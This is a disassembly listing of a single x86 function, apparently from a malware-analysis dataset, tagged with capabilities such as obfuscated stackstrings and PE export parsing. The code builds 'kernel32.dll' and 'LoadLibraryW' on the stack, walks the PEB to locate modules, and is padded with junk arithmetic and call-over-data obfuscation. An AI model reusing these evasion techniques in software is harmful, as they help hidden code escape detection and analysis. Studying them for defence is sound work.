Function at 0x47eb5f
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
jmp 0x47e642
pop ebx
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push ebx
sub ebx, 0xf0d1
add ebx, 0x16a75
and ebx, 0x17abc
xor ebx, 0x2005
pop ebx
push eax
push esi
add esp, 4
and eax, 0x95b
and eax, 0x15a5b
and eax, 0x8e79
pop eax
push ecx
push esi
add esp, 4
and ecx, 0x15056
pop ecx
push edi
push esi
add esp, 4
or edi, 0x5a58
or edi, 0x46d0
or edi, 0x5407
xor edi, 0x1eb7
pop edi
push eax
add eax, 0x86e5
pop eax
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push ecx
jmp 0x47e76f
jmp 0x47e775
or ecx, 0x522b
pop ecx
push eax
push ebx
add esp, 4
xor eax, 0x5699
add eax, 0x50c5
jmp 0x47e793
sub eax, 0x1410c
pop eax
cmp dword [ebp - 0x14d4], 0
jne 0x47e7b2
mov dword [ebp - 0x2e0], 0
jmp 0x47ea6e
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push ebx
push eax
add esp, 4
call 0x47e7d7
add byte [ebx], bh
inc esp
inc eax
cmp al, 0x4d
inc eax
cmp eax, 0x4c48342
pop ebx
push edi
add edi, 0x69fd
pop edi
push edi
push eax
add esp, 4
jmp 0x47e7ef
xor edi, 0xd126
pop edi
cmp dword [ebp - 0xc20], 0
jne 0x47e80e
mov dword [ebp - 0x2e0], 0
jmp 0x47ea6e
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push eax
push ebx
add esp, 4
and eax, 0xa753
jmp 0x47e82a
pop eax
push ecx
jmp 0x47e831
sub ecx, 0x4363
or ecx, 0x1255a
pop ecx
push ecx
and ecx, 0x7390
sub ecx, 0xa13b
pop ecx
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push ecx
push eax
add esp, 4
call 0x47e88b
add byte [edi], dh
inc ebx
inc esi
dec esp
aas
cmp ecx, dword [ebp - 0x7d]
les eax, [eax + ebp*8]
or byte [eax], al
add byte [eax], al
add byte [eax + ecx*2 + 0x35], cl
xor bh, byte [esi + ecx*2]
cmp byte [ebx - 0x1e7efb3c], al
inc edi
jge 0x47e8a4
add byte [ecx + 0x7eddf1], al
add byte [ecx - 0x75], bl
test eax, ebp
invalid
xor ecx, 0x7edd
pop ecx
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push eax
push ebx
add esp, 4
call 0x47e917
add byte [ebx + 0x35], cl
cmp edi, dword [0x83403543]
les eax, [eax + ebx*2]
push edi
and edi, 0x5006
or edi, 0x5c00
add edi, 0x14482
pop edi
push esi
jmp 0x47e936
pop esi
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x47e95a
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x47e9bd
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x47e879
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x47e879
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x47e9a7
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x47e9b1
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x47ea06
push edx
and edx, 0x97ae
xor edx, 0xb994
sub edx, 0x3687
pop edx
push ebx
push ecx
add esp, 4
or ebx, 0xaaf6
or ebx, 0x59e0
pop ebx
push edi
push esi
add esp, 4
sub edi, 0x10cc6
pop edi
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x47ea6e
push edx
push esi
add esp, 4
and edx, 0xcfe8
pop edx
push ebx
or ebx, 0xe48d
xor ebx, 0x13a7
add ebx, 0x705c
pop ebx
push eax
push esi
add esp, 4
and eax, 0xa379
jmp 0x47ea37
pop eax
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x47ea64
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x47e81a
mov dword [ebp - 0x2e0], 0
push eax
sub eax, 0x16ba3
pop eax
push edx
push eax
add esp, 4
sub edx, 0x7710
pop edx
push edx
push eax
add esp, 4
or edx, 0x1842a
call 0x47ea9c
add byte [ecx + 0x41], cl
dec eax
inc edi
inc ebp
inc edx
cmp al, 0x4c
add esp, 4
pop edx
cmp dword [ebp - 0x2e0], 0
jne 0x47f3b9
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push esi
push edi
add esp, 4
or esi, 0xee0d
call 0x47eb5f
add byte [edi], bh
xor edi, dword [0x47433448]
xor eax, dword [ebx + 0x5eb04c4]
dec eax
xor eax, 0x81424e47
out dx, al
jnp 0x47ebec
add byte [eax], al
pop esi
push eax
jmp 0x47eb77
pop eax
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push eax
sub eax, 0x5756
pop eax
push eax
push esi
add esp, 4
call 0x47ec16
add byte [edi + 0x3a], cl
dec edx
dec edi
inc edx
inc esp
inc ebx
xor al, 0x33
add esp, 4
add eax, 0x115a9
pop eax
push ecx
push ecx
add esp, 4
add ecx, 0x117e2
pop ecx
cmp dword [ebp - 0x14dc], 0
jne 0x47ec44
invalid
mov dword [ebp - 0x6ec], 0
jmp 0x47ef00
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push eax
sub eax, 0x12583
xor eax, 0x8594
pop eax
push edi
push eax
add esp, 4
or edi, 0x17ee1
xor edi, 0x10fc0
call 0x47ec84
add byte [eax + 0x33], cl
dec ecx
cmp eax, 0x43343a43
dec ebp
add esp, 4
pop edi
cmp dword [ebp - 0xc2c], 0
jne 0x47eca0
mov dword [ebp - 0x6ec], 0
jmp 0x47ef00
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push edi
and edi, 0x12a8c
sub edi, 0xde1f
xor edi, 0x460a
xor edi, 0x1116
pop edi
push ebx
push ebx
add esp, 4
xor ebx, 0xf09b
and ebx, 0xec96
sub ebx, 0x2b8
pop ebx
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push esi
jmp 0x47ed11
add esi, 0x176a4
pop esi
push esi
call 0x47ed27
add byte [ebx + 0x37], al
inc edi
dec ebp
dec edi
dec ebp
inc edx
add esp, 4
call 0x47ed39
add byte [esp + eax*2 + 0x43], al
cmp dword [ecx + 0x3b], eax
xor eax, 0xc4833c36
add al, 0x5e
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push esi
call 0x47eda5
add byte [edx], dh
cmp al, 0x47
aas
cmp al, 0x4f
inc ecx
add esp, 4
pop esi
push ebx
jmp 0x47edb3
add ebx, 0x5957
pop ebx
push edi
jmp 0x47edc2
sub edi, 0x114d7
pop edi
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x47edec
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x47ee4f
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x47ed0b
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x47ed0b
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x47ee39
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x47ee43
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x47ee98
push esi
sub esi, 0x12178
pop esi
push ecx
push esi
add esp, 4
and ecx, 0x133cc
call 0x47ee7a
add byte [esi], dh
dec esp
xor eax, 0x463f413f
cmp eax, 0x4c4834d
add ecx, 0x113a1
sub ecx, 0x5a0a
pop ecx
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x47ef00
push eax
and eax, 0x13490
add eax, 0x3de3
pop eax
push edx
push eax
add esp, 4
sub edx, 0xf43f
and edx, 0xa44f
xor edx, 0x673a
pop edx
push edi
push edi
add esp, 4
or edi, 0x12f92
pop edi
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x47eef6
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x47ecac
mov dword [ebp - 0x6ec], 0
push ebx
xor ebx, 0x113df
pop ebx
push ebx
or ebx, 0xb03a
pop ebx
push ecx
push edi
add esp, 4
add ecx, 0x17753
pop ecx
push eax
push ecx
add esp, 4
jmp 0x47ef28
jmp 0x47ef31
pop eax
cmp dword [ebp - 0x6ec], 0
jne 0x47ef7c
push esi
push edx
add esp, 4
call 0x47ef4f
add byte [eax + 0x41], dl
aas
xor eax, 0x503f3f48
cmp eax, dword [ebx - 0x97efb3c]
mov esi, 0x5e000076
push ecx
push esi
add esp, 4
jmp 0x47ef66
or ecx, 0x7da1
pop ecx
mov dword [ebp - 0x738], 0
jmp 0x47faa3
push eax
or eax, 0x61ef
and eax, 0x7f6a
pop eax
push edi
or edi, 0x66d3
sub edi, 0x3ff6
or edi, 0x108df
jmp 0x47efa5
pop edi
push edx
xor edx, 0x20a6
pop edx
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x47efed
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x47f2de
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x47f015
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x47f2de
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
invalid
invalid
invalid